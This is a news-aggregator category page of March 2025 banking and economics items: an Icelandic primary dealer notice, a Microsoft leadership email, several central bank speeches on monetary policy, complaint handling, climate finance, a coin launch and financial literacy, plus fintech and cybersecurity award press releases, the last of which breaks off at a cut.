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Category: Banking

  • MIL-OSI: Primary Dealer Agreements

    Source: GlobeNewswire (MIL-OSI)

    The Minister of Finance and Economic Affairs tasks the Central Bank of Iceland’s Government Debt Management department with concluding primary dealer agreements on issuance of Treasury securities and market making in the secondary market.

    Resident entities that have an operating licence in accordance with Article 4, Paragraph 1 of the Act on Financial Undertakings, no. 161/2002, that have the equipment needed to participate in Treasury securities auctions and can demonstrate a secure settlement of transactions through the Central Bank of Iceland, may request to be parties to the agreement.

    Primary dealers have the exclusive right to submit bids at regular auctions where Treasury securities are offered. They also receive access to special facilities such as repurchase agreements for government bonds, in accordance with the relevant rules and the applicable terms and conditions.

    Primary dealers act as market makers for government bonds and are obliged to submit bid and ask quotes for a certain minimum amount in each series of government bonds, in accordance with the bid-ask maximum spread specified in the agreement.

    Further information can be found in the attached sample primary dealer agreement. Those parties wishing to become primary dealers in Treasury securities are requested to send digitally signed agreements to the Government Debt Management department at the Central Bank of Iceland before 16:00 hrs. Friday 21 March 2025.

    Further information can be obtained from Björgvin Sighvatsson, Head of Government Debt Management, at tel +354 569 9600.

    Attachment

    • Agreement_sample_2025

    The MIL Network –

    March 20, 2025
  • MIL-OSI Banking: Satya Nadella’s email on senior leadership update

    Source: Microsoft

    Headline: Satya Nadella’s email on senior leadership update

    Satya Nadella, Chairman and CEO, shared the below communication with Microsoft employees this morning.

    As we’ve seen time and again throughout our 50-year history, times of great change for the world and for our industry require us to have a mindset that enables us to continually adapt and transform ourselves. There’s no question that we are at the forefront of another such moment, with the rapid changes across every industry and business function in this AI era.  

    This means we must have the right product portfolio, the right business models, attract and retain top talent, and optimize our processes to meet changing customer expectations and succeed in the marketplace.  

    With this context, I’ve asked Kathleen Hogan to transition to a new role focused on defining our overarching corporate strategy and structure and leading our continuous transformation as a company. Kathleen will assume a new role as EVP, Office of Strategy and Transformation, reporting to me.  

    It is hard to overstate the impact Kathleen has had on Microsoft as Chief People Officer. Over the past 10+ years, she has led our cultural transformation, as we embraced a growth mindset, positioning us to seize new opportunities with agility and attract and retain world-class talent. She is recognized externally as a consequential HR leader transforming culture and the world of work. Her more than 20-year tenure at Microsoft, including leading our global services business, paired with her prior experience as a McKinsey partner in Silicon Valley, and a development manager at Oracle, makes her uniquely suited to lead this work as we accelerate our pace of change across our people, processes, and portfolio. Kathleen will work across the SLT as we chart this next phase of our transformation, which requires both interpreting the outside and redefining the inside.  

    Kathleen and I have been discussing this transition and succession planning for some time, and we both agree this is the critical juncture to apply new focus and intention to this work. 

    With this transition, I’m very pleased to share that Amy Coleman will assume the role of EVP, Chief People Officer, leading our HR organization. She joins the senior leadership team reporting to me.  

    Amy has led HR for our corporate functions across the company for the past six years, following various HR roles partnering across engineering, sales, marketing, and business development spanning 25 years. In that time, she has been a trusted advisor to both Kathleen and to me as she orchestrated many cross-company workstreams as we evolved our culture, improved our employee engagement model, established our employee relations team, and drove enterprise crisis response for our people. Amy’s commitment to operational excellence and high performance will be key in driving our continued success, and I’m confident in the perspective, expertise, and thoughtful approach she’ll bring as we navigate the next phase of our journey.  

    Please join me in congratulating Kathleen and Amy on their new roles.  

    Satya  

    MIL OSI Global Banks –

    March 20, 2025
  • MIL-OSI Economics: Sarah Hunter: Monetary policy – forward looking and data dependent in the face of uncertainty

    Source: Bank for International Settlements

    I would first like to pay respect to the traditional and original owners of this land, the Gadigal people of the Eora Nation, to pay respect to those who have passed before us and to acknowledge today’s custodians of this land. I also extend that respect to any First Nations people joining us here today.

    Introduction

    Three weeks ago, the Reserve Bank Board cut interest rates for the first time since 2020. Naturally there is a lot of interest in what lies behind the Board’s decision-making process. Today I want to shine a light on three key inputs to the process, how they interact with one another and how they fit together to support the Board in its decision making.

    The first is our view of how changes in the cash rate affect the economy. The impact of policy changes takes time to flow through the economy; looking at the response of banking credit flows to interest rate changes, which many here today know intimately, clearly highlights this. So policy decisions today shape inflation and employment outcomes in the future.

    This necessitates a forward-looking approach to meeting our mandate. Policy decisions require both a view of the outlook for the economy and an understanding of how policy is likely to affect that outlook. That helps the Board set the cash rate to give the best chance of achieving the RBA’s objectives over time.

    MIL OSI Economics –

    March 20, 2025
  • MIL-OSI Economics: Sanjay Malhotra: Transforming grievance redress – the AI advantage

    Source: Bank for International Settlements

    I am delighted to participate in this year’s Annual Conference of the RBI Ombudsmen. The Reserve Bank has been organising this conference on or around the World Consumer Rights Day, that is, 15th March. World Consumer Rights Day is celebrated every year with the aim of raising global awareness about consumer rights and needs. We organise this conference to reflect on our achievements with regard to consumer services and to deliberate on how to improve services and reduce grievances. We need to improve consumer services, not only because it is our duty to do so, but because it is in our selfish interest to do so. In this age of competition, we would not survive long if we do not provide quality service to our consumers.

    We have made tremendous strides in improving consumer services over the years. We have enabled internet banking and mobile banking. Most of the banking services, be it opening a deposit account, or taking a small loan have been digitised, adding to the convenience and speed. We are making record number of digital transactions through UPI and other means of digital payments. Many among the younger generation may have never visited a bank branch. We have even enabled opening of accounts using video KYC.

    While we have enhanced customer experience over the years, the high number of customer grievances continues to be a matter of serious concern. I am told that last year (2023-24), the 95 Scheduled Commercial Banks alone received over 10 million complaints from their customers. If we take into account the complaints received at other RBI-regulated entities (REs), the number would be even higher. One may argue that this amounts to only four complaints per thousand accounts per year as there are about 2.5 billion bank accounts. But, for us, even one complaint is a cause of concern. We have 10 million complaints and with the rapidly growing customer base and expanding suite of products, this may grow, if we do not get our act together.

    Customer satisfaction – a cornerstone for banking and other financial services

    Excellent customer service, in fact excellent customer experience is a sine qua non in any service industry. Our effort should be to enhance the total customer experience. The experience should be such that there is no cause for a grievance that requires a redress. Let me state a fundamental truth: every complaint is a test of trust. When a consumer files a grievance – whether for a disputed transaction, a lapse in service, inappropriate pricing or charges or an unfair practice – it is a signal that our system has fallen short. Left unresolved, such issues can erode consumer confidence and tarnish the entire ecosystem.

    I am reminded of a real story about customer service. Some of you, especially the management graduates, may have heard it but it is so appropriate for today’s theme that it is worth being retold. In the winter of 1975, in a town in Alaska, a man walked into a store and complained to the salesman present that the snow tyres that he bought some time ago were not holding. The salesman was a little puzzled. He said that he could not replace them but will check what he could do and went to the back of the store. Those of you, who have visited departmental stores in the USA, would know that refunds are processed at the back of the store. The salesman came back after some time and handed over some cash as refund and the customer left satisfied. Can anyone guess why this was unique, as no questions asked policy for refunds is fairly common in the USA? It is because the company in question is Nordstrom which does not even sell tyres. It sells apparel and shoes. But, for Nordstrom, customer comes first. Trusting him and winning his trust is more important than anything else.

    Some say that this is not a true story. How is this possible? How could a company offer refund for a product which it never sold? Nordstrom, however, insists that this incident did take place. Nordstrom had acquired three stores from another company that sold miscellaneous articles including tyres. The customer did not realise that the store had changed and walked in with his complaint. The key message is that Nordstrom saw itself being in the business of customer service, and not just selling goods. We too need to realise that we are in the business of providing unalloyed customer service and not just selling banking and other financial services.

    Top management to accord priority to customer service

    I am sure you will all agree that we are indeed in the business of customer service. However, I suspect that we are not spending enough time on customer service and grievance redressal as a result of which not only are there a large number of complaints being received by banks and NBFCs but in the absence of satisfactory resolution, a large number of them are getting escalated to RBI Ombudsmen.

    Let me give you some perspective. The number of complaints received under RBI’s Integrated Ombudsman Scheme increased at a compounded average growth rate of almost 50 per cent per year over last two years to 9.34 lakh in 2023-24. The number of complaints processed at the Office of RBI Ombudsman increased by 25 per cent from about 2,35,000 in 2022-23 to almost 2,94,000 in 2023-24. Not only are large number of complaints getting escalated, a large proportion of them – nearly 57 per cent of the maintainable complaints last year – required mediation or formal intervention by the RBI Ombudsmen. You would all agree that this is a highly unsatisfactory situation and needs our urgent attention.

    I would, therefore, strongly urge all the MD&CEOs, Zonal and Regional Managers and the Branch Managers to spend some time every week, if not every day on grievance redressal. This is a must. All great CEOs find time to do it. We too must keep some time in our diary for improving customer service and grievance redressal.

    Improving customer service systems

    Customer complaints aren’t a nuisance – they are in fact opportunities to improve, innovate, and build trust. Handling them well can define your success. Each unresolved grievance is a missed opportunity for regulated entities to reaffirm customer trust and loyalty. It is also a warning signal as repeat complaints are often signs of systemic flaws. Today, complaints often surface on social media even before reaching official channels, highlighting the need for proactive measures.

    The effort thus should be to not only resolve the complaints but also to ensure that the same type of complaint does not arise again. Many of the complaints like digital transaction disputes, unauthorized charges, or miscommunication frequently recur. These are clearcut symptoms of underlying issues in the overall customer service framework of the regulated entities. A thorough root cause analysis should be performed for each complaint so as to enable remedial action and avoid repetition of same type of complaint.

    In fact, I would go a step further. Best service is not one in which there is no occasion for grievance redressal but one in which there is no occasion for the customer service department to step in. Systems should work seamlessly and conveniently so that customers do not have to call the branch or the customer service centre or talk to anyone in the Bank or NBFC. Systems have to be so user-friendly that customers can rely on self-service rather than being dependent on anyone else.

    Improving internal grievance redressal systems

    While improving systems to reduce grievances is important, setting up a robust grievance redressal system is equally important for all regulated entities. I would urge you all to review the same. While the regulations do not make any prescription for the organisational structure for grievance redressal, my experience suggests that there should be at least two levels for grievance redressal in large REs, with unresolved grievances getting escalated from the lower to the higher level. The highest level should be at a fairly high rank. This to ensure that requests do not get rejected without having been examined by a senior functionary who is empowered to take decisions in consumer interest. This will help reduce grievances getting escalated to the Ombudsman. It must also be ensured that there are sufficient number of grievance redress officers at all levels including in the Internal Ombudsman office.

    I would also like to draw your attention to the misclassification of complaints as requests, queries, and disputes by the regulated entities. This results in the complainants’ grievances remaining unaddressed. Moreover, this is also a gross regulatory violation.

    Major areas of service improvement

    Let me now briefly allude to some of the major areas where we need to improve. These relate to KYC, digital frauds, mis-selling, and aggressive recovery practices.

    As for KYC, we need to ensure that once a customer has submitted documents to a financial institution, we do not insist on obtaining the same documents again. Once the customer has updated his details, for example, his residential address, with one regulated entity of any financial sector regulator, it gets updated in CKYCR and other REs are notified of the updation. PML Rules made by the Department of Revenue in the Ministry of Finance and RBI’s Master Directions on KYC mandate regulated entities to check the CKYCR system before seeking KYC documents for opening an account. However, most banks and NBFCs have not enabled the same in their branches/business outlets, causing avoidable inconvenience to customers. This may be facilitated early. This will be in the interest of all.

    Another important issue connected to customer protection is rising digital frauds. It is a matter of great concern that innocent customers continue to fall prey to scamsters. While this could be attributed to rise in digital transactions and innovative methods adopted by fraudsters, lack of customer awareness is also a major reason for the same. To mitigate this menace, REs not only need to put in place robust internal controls but also enhance digital financial literacy.

    The issues of mis-selling and aggressive recovery practices have been highlighted earlier too. In this context too, I would request you to keep consumer interest supreme.

    Embracing technology – the AI way

    Let me now come to the theme of this year’s conference: AI’s potential to revolutionize grievance redressal. We are entering an exciting era where technology, particularly artificial intelligence (AI), can drive remarkable improvements in speed, accuracy, and fairness of complaint resolution.

    AI can help categorize incoming complaints by urgency, complexity, or subject area, ensuring minimal delay in reaching the right people or the right team. AI can also help in optimising complaint routing. Further, it can assist in decision-making and reducing processing time.

    Secondly, AI can be used to pinpoint systemic gaps by analysing both structured and unstructured data such as emails, chat logs, and call transcripts. This will aid in identifying training needs and guiding necessary process reforms. Using data from millions of consumer branch visits, call centre logs, mobile apps, and social media, a unified, AI-driven view of all these interactions can help identify common pain points more efficiently. Leveraging data analytics, sentiment analysis, and predictive models, AI can be used to analyse large volumes of data to detect spikes in issues – such as ATM failures or erroneous charges – and alert REs pre-emptively.

    Lastly, in a linguistically diverse country like India, AI-driven chatbots and voice recognition tools can eliminate language barriers by operating in local languages. Moreover, the implementation of conversational AI in chatbots, voicebots, and advanced IVR systems can handle routine queries round the clock, thereby freeing people to focus on cases that require empathy and complex problem-solving.

    In short, integrating AI at every stage – from complaint lodging to closure – can result in a seamless, efficient, and data-driven grievance redressal system. Such a framework not only reduces processing times and addresses repetitive complaints but also fosters equitable outcomes by mitigating human biases. It is time that the banking industry explores and pioneers the integration of technology – including AI – to strengthen the grievance resolution mechanisms and make it best in class across the globe.

    Challenges and guardrails in AI driven grievance redressal system

    While AI presents unparalleled opportunities, we need to be cognizant of the challenges and risks that its adoption poses. There are concerns on data privacy, algorithmic bias and complexity in AI-driven models. As we embrace AI in grievance redressal or any other process, we must also remain mindful of ethical considerations. Human oversight, bias mitigation and data privacy must be integrated into the AI Systems to ensure transparent and consistent outcomes.

    Investing in human resources

    While technology in all its forms is a powerful enabler, I would like to emphasise that it is no substitute for integrity, empathy, and human judgment. In a world increasingly driven by data, algorithms, and automation, it is all too easy to lose sight of the human element. Every transaction represents not just a number in a ledger, but the hard-earned savings of a family, the dreams of a small entrepreneur, or the lifelong savings of a senior citizen. It is, therefore, critical that REs continue to invest in human resources dedicated for customer service and grievance redressal. It is essential to invest in training of staff, especially in behavioural aspects of customer service. Moreover, the staff needs to be empowered to take decisions based on their judgement to redress consumer grievances, enhance customer satisfaction and win consumer trust.

    RBI as a facilitator

    In the end, I would like to assure you that, while we exhort you to provide services efficiently to customers, we in the Reserve Bank shall also provide various services, approvals, clarifications, etc. to the regulated entities in a timely manner. We already have a citizen’s charter. We are in the process of reviewing the charter. We will make the charter comprehensive to include all services that we offer either to the REs or directly to citizens. Moreover, we are reviewing the timelines for each service. It will be our endeavour to provide all approvals, etc. within the timelines. We are also making mandatory the use of PRAVAAH, which is RBI’s secure and centralised web-based portal for any individual or entity to seek authorisation, license or regulatory approval on any reference made to the Reserve Bank in a timely manner. This will help us in expediting the disposal of applications received by the Reserve Bank.

    Conclusion

    We stand at a pivotal juncture as India looks to realise its dream of a more resilient and inclusive Viksit Bharat. With the financial sector touching the lives of almost the entire population, we have a critical role. To succeed in this role, we must continue to enhance customer service and customer protection.

    Thank you !

    MIL OSI Economics –

    March 20, 2025
  • MIL-OSI Economics: Caroline Abel: Women in environment and climate finance

    Source: Bank for International Settlements

    Minister Rose-Marie Hoareau,
    H.E High Commissioner Mr. Jeffrey Glekin,
    Distinguished Guests,
    Ladies and Gentlemen,

    Good morning,

    It is an honour to be here with you today. Our gathering indicates that the pilot edition of the British High Commission’s Women’s Forum launched last year was a success. I take this opportunity to congratulate you, High Commissioner, and your dedicated team for ensuring that this second edition takes place. This forum serves as a platform for knowledge exchange, policy assessment and a valuable space for women in Seychelles to collaborate and drive impactful change. By incorporating discussions on climate finance and gender inclusivity, we reaffirm our commitment to fostering equitable and sustainable solutions for our nation.

    As we all know, Seychellois women are not only represented in all aspects of life, but are successful in their own rights. When we look at the context of our society, according to official statistics, women in managerial positions make up 42 per cent of the workforce. Those in senior and middle management roles, make up an impressive 40 per cent of the workforce. In the National Assembly, 21 per cent of seats are held by women. This is testament to the strength, capability, and leadership qualities of our Seychellois women. We have to keep encouraging the younger generation to take every opportunity that arises, to break barriers and push towards greater heights. Seychelles might be small in size, but our ambitions are boundless.

    Given Seychelles’ unique characteristics, we are all in one way or another, connected to the environment. It fuels the very foundation of our economy. Tourism and fisheries – our two main economic pillars, thrive because of our natural resources. As we move forward, we must be mindful of our most pressing reality: Climate Change. It is not just a future threat; it is a present challenge, and one that poses long-term sustainability risks to our environment, our economy, and our way of life. We all have a shared responsibility to act on it. We must understand that climate change is not just an environmental issue, but also a social and economic issue. It affects our communities, our industries, and our livelihoods. We see it in the frequency of natural disasters – heavier monsoon rains, floods, landslides, and coastal erosion. These disasters highlight the urgent need for robust climate adaptation measures, sustainable financing, and enhancements in disaster risk management.

    While climate change is indeed a threat, let us not view it only as that. Within the challenges lie opportunities. This is our moment to innovate for a more progressive economy in a way that is sustainable for our planet. This is our opportunity to explore and invest in green and blue business ventures. We have seen a shift internationally, where global environmental policies are reshaping economies. The demand for fossil fuels will most probably decline as more nations commit to their national climate action plans on reducing greenhouse gas emissions, and adapting to the impacts of climate change. To echo the words of a colleague from the National Bank of Angola, as said in a monetary policy and climate change workshop held last month, “In order to progress, we must adopt and adapt”.

    As the country implements reform measures under the Resilience and Sustainability Facility, we are committed to integrating climate resilience into our financial system. This is a step towards not just economic stability but long-term sustainability. We will discuss further on this programme that is being implemented with the support of the IMF later during the day.

    The journey ahead is not without obstacles, yet we remain optimistic. We are a nation that denotes the very definition of resilience, and I firmly believe that if we all play our part, no matter how small it may seem, together we can accomplish great things.

    As we move forward in today’s discussions, I encourage each of you to contribute, engage, and explore new avenues for climate finance that can create lasting change. Let this be a moment where ideas turn into action, policies into practice, and collaboration into concrete results.

    I look forward to your insights on climate finance throughout the day.

    Thank you.

    MIL OSI Economics –

    March 20, 2025
  • MIL-OSI Economics: Luke Forau: Launch of the new $1 coin

    Source: Bank for International Settlements

    Minister of Finance & Treasury Hon Manase D Sogavare, Ministry of Finance and Treasury
    CBSI Board of Directors
    Heads and Representatives of the Financial Institutions
    Members of the Press – both radio and print
    Our business partner from Royal Australia Mint (Not present here today)
    CBSI Executives, managers and staff
    CBSI Currency Taskforce
    Good people of Solomon Islands
    Friends, Ladies & Gentlemen

    Gud Fala Morning Lo Iufala Evriwan who are here today, including those who are turning in today from SIBC.

    It gives me great pleasure to welcome you all this morning, a special welcome to the Minister of Finance and Treasury, to witness yet another milestone in the Central Bank’s history – the launch of the New SI $1 circulation coin with the new effigy of His Majesty, “King Charles III” which the Minister is going to declare it later on, and will be released into circulation as of today, 13th March 2025.

    Let me briefly take you back to our currency history that we journey before SI Independence in July 1978.

    Before Solomon Islands gained Independence on 7th July 1978, the British Solomon Islands Protectorate has had its own currency notes and coins, which were first issued on 24th October 1977, using Her Majesty Queen Elizabeth’s Effigy. I suppose this is one of the prerequisites for a nationhood. And FYI, the Central Bank was established in 1976, then it was called Solomon Islands Monetary Authority (SIMA).

     In November 2011, for strategic reasons CBSI ceased all its currency coins agreement with the British Royal Mint and signed a new Agreement with the Royal Australia Mint Ltd (RAM) for the minting of all SI Circulation Coins & Numismatic Programs

    In June 2012, the Central Bank issued its first Circulation coins minted by the Royal Australian Mint Ltd, totalling SBD$25.7m.

    Today, this currency development continues as we come to witness yet another new circulation bank coin that marks a new reign in the line of Thrown replacing the obverse of the coin which features the effigy of Her Majesty Queen Elizabeth II to a new Effigy of His Majesty King Charles III 2025.

    Let me turn to the new effigy of His Majesty King Charles III on the $1 SI circulation coin

    As you may have already probably aware, the CBSI had recently pre-launched and unveiled the new King Charles effigy on the $1 coin to international media at the Royal Australia Mint Ltd in Canberra, in October 2024, via a Bank Industry News Media Release.

    The coin, now set to be launched today (13th March 2025), represents a historic milestone in the journey of Solomon Islands’ modern currency development and a continuation of our ongoing relationship between Great Britain and Solomon Islands and between CBSI and its supplier, the Royal Australian Mint Ltd

    The new $1 coin will retain the same dimension (size and shape) with the beloved Nguzu Nguzu motif on its reverse, symbolizing good luck and protection, while the obverse will feature the new effigy of King Charles III designed by Daniel Thorne (DT). The inclusion of the effigy marks the first Solomon Islands coin to commemorate His Majesty’s reign, combining traditional elements with this fresh design to celebrate the nation’s heritage and monarchy.

    The new coin is more than a currency; it is a symbol of the Solomon Islands’ history, culture, and its ties to the Commonwealth. This design honors both our traditions and a shared value that the nations of the Commonwealth uphold in recognition of the monarchy.

    The coin will be officially launched and will become available through the commercial banks and its branches as of this afternoon and the coming days. CBSI will also conduct special promotional events and educational campaign to familiarize the public with the new effigy. It is important to differentiate the significance of the New King’s Effigy as compared to the Queen Effigy. The New King Charles’ III Effigy when looking at the coin obverse, will be facing to the Left while the Queen’s Effigy will be facing to your Right

    This latest collaboration with the Royal Australian Mint continues our long-standing partnership between the Solomon Islands and Australia, showcasing the shared values and excellent business relationship of both nations.

    What to look for on the new bank coin:

    Front Design:

    As alluded earlier, this new $1 coin will retain the same dimension (size, shape and aluminum bronze color) with the obverse featuring the new effigy of King Charles III designed by Daniel Thorne (DT).

    On the Back Design:

    The new $1 coin also retain the same design with the famous Nguzu Nguzu motif on its reverse, that symbolizes good luck and protection, so there is no change to the reverse side of the coin at all.

     As a market currency, this bank coin will be highly used in daily transactions because of its fitting face value for smaller payments for all retailers both in rural and urban areas.

    The new and colourful bank coin will join more than $46.8 million worth of coins already in circulation as at end of December, 2024.

    Cost of Printing Banknotes

    Allow me to now remind all our good people of Solomon Islands that the Central Bank spends a lot of money each time it prints or mints new currencies.  It costs the Central Bank around SBD3.4 million to get the new $1 coin with the new effigy from our supplier. The average life of the $1 coin is estimated at over 20 to 25 years before they become worn out to be used anymore.

    So, I believe the current $1 coins circulating in your pockets and wallets right now is around 13 years old and are still in very good or good conditions.  Our current stock of the new $1 coins should last more than 3 years.

    Statistics however show that the frequency of coins being issued to public through our commercial banks are excessively high due to coins being seen on a very high ONE-WAY Traffic for reasons that are not quite clear to us at the Central Bank. But we believe individuals and business houses could be keeping those coins in their small piggy banks and were not allowed to circulate.

    The more you hold to the coin and not circulating it through transactions, it reduces the multiplier effect that should have occurred. This causes shortage in coins, triggering CBSI to reorder coins more frequently from the supplier to ensure we have sufficient supply of quality coins to meet business and public demand. This further depletes our foreign reserves just to procure new currency notes or coins. We obviously do not want that to happen but it is happening.

    Hence, I appeal to the people of Solomon Islands that you USE your new coins with extra care and pride but we would also advice you all to ensure that you do circulate the coins once it comes around your way to facilitate small changes in the trades of goods and services.

    Again, our advice is: Do not store them away in containers, piggy banks or hide them under mattresses.

    Finally, I would like to thank the technical team from the Royal Australia Mint Ltd, for assisting CBSI in the design, formalities and production of our bank coins. Our partnership relationship with RAM, Australia had been now well around 13 years so this is indeed a unique occasion for both CBSI and RAM.

    We would also like to thank the CBSI Board of directors, Minister of Finance and Solomon Island Government and other stakeholders in ensuring the legislative procedures and arrangements are fully in compliance and to the success of this project milestone. Thank you too to all the Heads of Financial Institutions witnessing the launch for this morning as the main channel of our currency distributions.

    Final acknowledgement goes to my team the Currency Launch Taskforce, Currency & Banking Services Department and the CBSI Management team for their coordinated job well done in  making this a success.

    Official Launch

    Now, ladies and gentlemen, I now have the pleasure to invite the Hon Minister of Finance and Treasury (Hon Manasseh D Sogavare) to unveil the new $1 coin with the new effigy of His Majesty King Charles III 2025.

    MIL OSI Economics –

    March 20, 2025
  • MIL-OSI Economics: Denny H Kalyalya: Think before you follow, safeguard your money  

    Source: Bank for International Settlements

    Permanent Secretary, Southern Province, Dr Namani Monze
    The District Commissioner, Mazabuka District, Mr Oliver C. Mulomba
    All Senior Governmental officials
    Chief Executive Officers of Financial Sector Regulators – PIA and SEC
    All Chief Executive Officers of Financial Services Providers
    All Cooperating partners
    Invited Guests
    Ladies and Gentlemen

    Good morning

    I am delighted to extend a warm welcome to all of you joining us for the launch of this year’s public awareness campaign for the Financial Literacy Week. This launch event was pre-ceded by the broadcasted message from the Minister of Finance and National Planning, on 16 March 2025. The FLW activities will take place from March 17 to 23, 2025, in all the 10 provinces of the Republic of Zambia. For the first time since we started to commemorate Financial Literacy Week, the event is being launched away from Lusaka, in Mazabuka, Southern Province. I commend the organizers for this change and I hope that future launch events will be held in different provinces every year.

    The theme for this year, “Think before you follow, safeguard your money,” aligns with the official theme of the 2025 Global Money Week and has been adopted for the Financial Literacy Week in Zambia.

    This year’s theme underscores the importance of adopting an informed, responsible, security-conscious approach to managing personal finances. Therefore, individuals are encouraged to be mindful of potential risks in the financial sector and take steps to protect their hard-earned money. These risks include financial scams, fraud, theft, pyramid schemes, cyber-attacks, and other threats related to data privacy. In line with this year’s theme, I urge consumers of financial services and products to actively safeguard their money by engaging only with licensed financial service providers. I also encourage you to be cautious about sharing financial information as well as diligently protect your personal data. Avoid sharing sensitive financial information, such as account numbers or passwords, with unknown individuals or over unsecured platforms. Additionally, be vigilant for phishing schemes, and be sceptical of unsolicited emails, messages, or phone calls requesting personal or financial information.

    Finally, I encourage you to report any suspicious financial requests or digital invitations to the authorities, such as financial service providers (FSPs), ZICTA, or the Police.

    Ladies and Gentlemen, financial literacy initiatives continue to focus on young people in primary, secondary, and tertiary institutions as well as adults, with the aim of equipping future generations with the essential knowledge needed to make informed financial decisions for their financial well-being.

    In this regard, financial education has been incorporated in the national school curriculum and financial literacy initiatives continue to be undertaken in collaboration with the Ministry of Education.

    Esteemed Guests, we firmly believe that the development and execution of national strategies concerning financial education and inclusion have established a robust framework that facilitates effective engagement among various stakeholders, including the Government, financial sector regulators, financial service providers, and the general public. This collaborative effort has led to heightened awareness campaigns among the public regarding the availability and safe usage of financial products and services nationwide. Strengthening financial literacy among consumers would enable them to identify financial scams, fraudulent activities and avoid biased advice, thus helping them to make better financial decisions to safeguard their future well-being. In this regard with the conclusion of the National Strategy on Financial Education II (2019-2024), the Ministry of Finance and National Planning, along with the Bank and other financial sector regulators, have begun the process of conducting a comprehensive review of the strategy. The review will assess the progress, successes, and challenges of NSFE II, and guide the development of phase III of the N S F E.

    Ladies and Gentlemen, in order to measure the strides that have been made in advancing financial education and financial inclusion in the country, I would like to inform you that a multisectoral project team has been established to conduct the 2025 FinScope Survey and disseminate topline findings by the end of this year.

    FinScope surveys are invaluable tools for understanding the financial landscape of a country and developing targeted financial education and financial inclusion strategies. The survey provides information on access and usage of financial services (formal/informal), barriers encountered, financial literacy and overall financial inclusion. Enumerators will conduct interviews across all ten provinces, so we appeal to you, the public, to provide them with the necessary support.

    Distinguished Guests, before I conclude, let me take this opportunity to remind you that the Bank of Zambia announced the introduction of a new family of Zambian Currency on Monday, 10 February 2025 (pursuant to section 17(1) of the Bank of Zambia Act, 2022).

    The initiative reflects the Bank’s commitment to providing currency that is secure, efficient, user friendly and well suited for everyday transactions. The new notes also offer advanced security features to protect against counterfeiting and other threats to the integrity of the currency. A nationwide awareness campaign is currently being conducted to sensitize the public about the new currency. Further, the Minister of Finance and National Planning will soon issue an SI to provide details for the process of exchanging the old currency for the new series, scheduled to commence on 31 March 2025.

    As we carry out the 2025 Financial Literacy Week provincial activities, I encourage the campaign teams and financial service providers to continue to educate the public about the new family of Zambian Currency to prevent people being defrauded by unscrupulous people who may take advantage of this change. The Bank of Zambia team will also be available to provide information and distribute awareness materials that highlight the key features of the new currency.

    Dear Invited Guests, in conclusion, it is important to acknowledge that as part of the implementation of the National Strategy for Financial Education, Financial Literacy Awards are held annually in October. These awards aim to recognize the efforts of individuals and institutions in conducting financial literacy awareness initiatives. Therefore, I urge you to submit your financial literacy activities and initiatives to the Financial Literacy Working Group for consideration in this year’s awards.

    Once again, I extend my gratitude to the Working Group under the National Strategy on Financial Education Phase II for organizing the Financial Literacy Week activities. I particularly commend the Ministry of Finance and National Planning Financial Education Team, along with other financial sector regulators such as the Pensions and Insurance Authority and the Securities and Exchange Commission. I also wish to applaud the Bankers Association of Zambia, and our collaborating partners DSIK (the German Sparkassenstiftung) Zambia, as well as all other stakeholders who have consistently supported the Financial Literacy Week commemorations each year.

    The Bank of Zambia remains steadfast in its commitment to supporting this national event, and we encourage all financial institutions and stakeholders to actively participate in the Financial Literacy Week activities nationwide.

    THANK YOU FOR LISTENING MAY GOD BLESS US ALL.

    MIL OSI Economics –

    March 20, 2025
  • MIL-OSI: EquityZen Named “Best Retail Investment Platform” in 2025 FinTech Breakthrough Awards Program

    Source: GlobeNewswire (MIL-OSI)

    NEW YORK, March 19, 2025 (GLOBE NEWSWIRE) — EquityZen, the leading pre-IPO marketplace for individual accredited investors, today announced that it has been selected as winner of the “Best Retail Investment Platform” award in the 9th annual FinTech Breakthrough Awards program conducted by FinTech Breakthrough, an independent market intelligence organization that recognizes the top companies, technologies and products in the global FinTech market today.

    EquityZen’s marketplace connects buyers and sellers of shares in pre-IPO companies, making the private market accessible to accredited individual investors with one of the category’s lowest investment minimums of $5,000. EquityZen leverages its established network and reputation to offer curated investment offerings in leading venture backed technology companies to investors across industries like artificial intelligence, cybersecurity, and fintech. By providing exclusive private market data and insights, EquityZen empowers clients to make informed decisions. The comprehensive investment platform delivers secure, compliant, fully streamlined processes and an intuitive, personalized interface. Guidance from private market investment specialists is also available.

    As a private market leader, EquityZen has enabled over 44,000 company-approved private market investments in over 450 late-stage companies for their clients since 2013.

    “EquityZen is opening up the private markets to the widest possible audience of investors and shareholders, not just the institutions who have always been able to invest in them. Companies are staying private longer than ever, making private market investing an essential component of a diversified portfolio,” said Steve Johansson, Managing Director, FinTech Breakthrough. “Over the last decade, growth equity returns have moved to the private market, and EquityZen is answering the growing investor demand for private market access. By automating an antiquated offline process, EquityZen is leading the charge of building more efficient, cost-effective, and transparent private markets for investors of all sizes.”

    The FinTech Breakthrough Awards is the premier awards program founded to recognize the FinTech innovators, leaders, and visionaries from around the world in a range of categories, including Digital Banking, Personal Finance, Lending, Payments, Investments, RegTech, InsurTech, and many more.

    “Our 710,000+ clients are predominantly individual investors, many of whom we’ve enabled to invest in late stage private companies for the first time. We believe the private market is the home of innovation and want to open investment access to as many investors as possible,” said Atish Davda, CEO and co-founder of EquityZen. “It’s an honor to be named ‘Best Retail Investment Platform’ by FinTech Breakthrough. We’ll continue to innovate and build a platform that can enable private markets for the public.”

    EquityZen Inc. was awarded a 2024 Fintech Breakthrough Award by Tech Breakthrough LLC on March 19, 2025, based on the prior year and covering calendar year 2024, and has compensated FinTech Breakthrough LLC for use of its name and logo in connection with the award. FinTech Breakthrough LLC is a third party and has no affiliation with EquityZen.

    About EquityZen
    Since 2013, the EquityZen marketplace has enabled the buying and selling of shares in private companies. EquityZen brings together over 700,000 investors and shareholders, providing liquidity to early shareholders and private market access to accredited investors for as little as $5,000 up to well over $5 million. Having completed more than 45,000 private placements in more than 450 private companies, EquityZen leads the way in delivering “Private Markets for the Public”.

    Media Contact
    Deborah Kostroun, Zito Partners
    deborah@zitopartners.com
    +1 (201) 403-8185

    The MIL Network –

    March 20, 2025
  • MIL-OSI: Regula Blog Wins 2025 Cybersecurity Excellence Awards

    Source: GlobeNewswire (MIL-OSI)

    RESTON, Va., March 19, 2025 (GLOBE NEWSWIRE) — Regula, a global developer of forensic devices and identity verification solutions, is proud to announce that its blog has been accoladed as the Best Cybersecurity Blog in the 2025 Cybersecurity Excellence Awards. Providing diverse expert content such as how-to guides, original analytics, and detailed visuals, the Regula Blog serves as a valuable resource for the general public and niche professionals.

    The Regula Blog has been named the Best Cybersecurity Blog by the 2025 Cybersecurity Excellence Awards

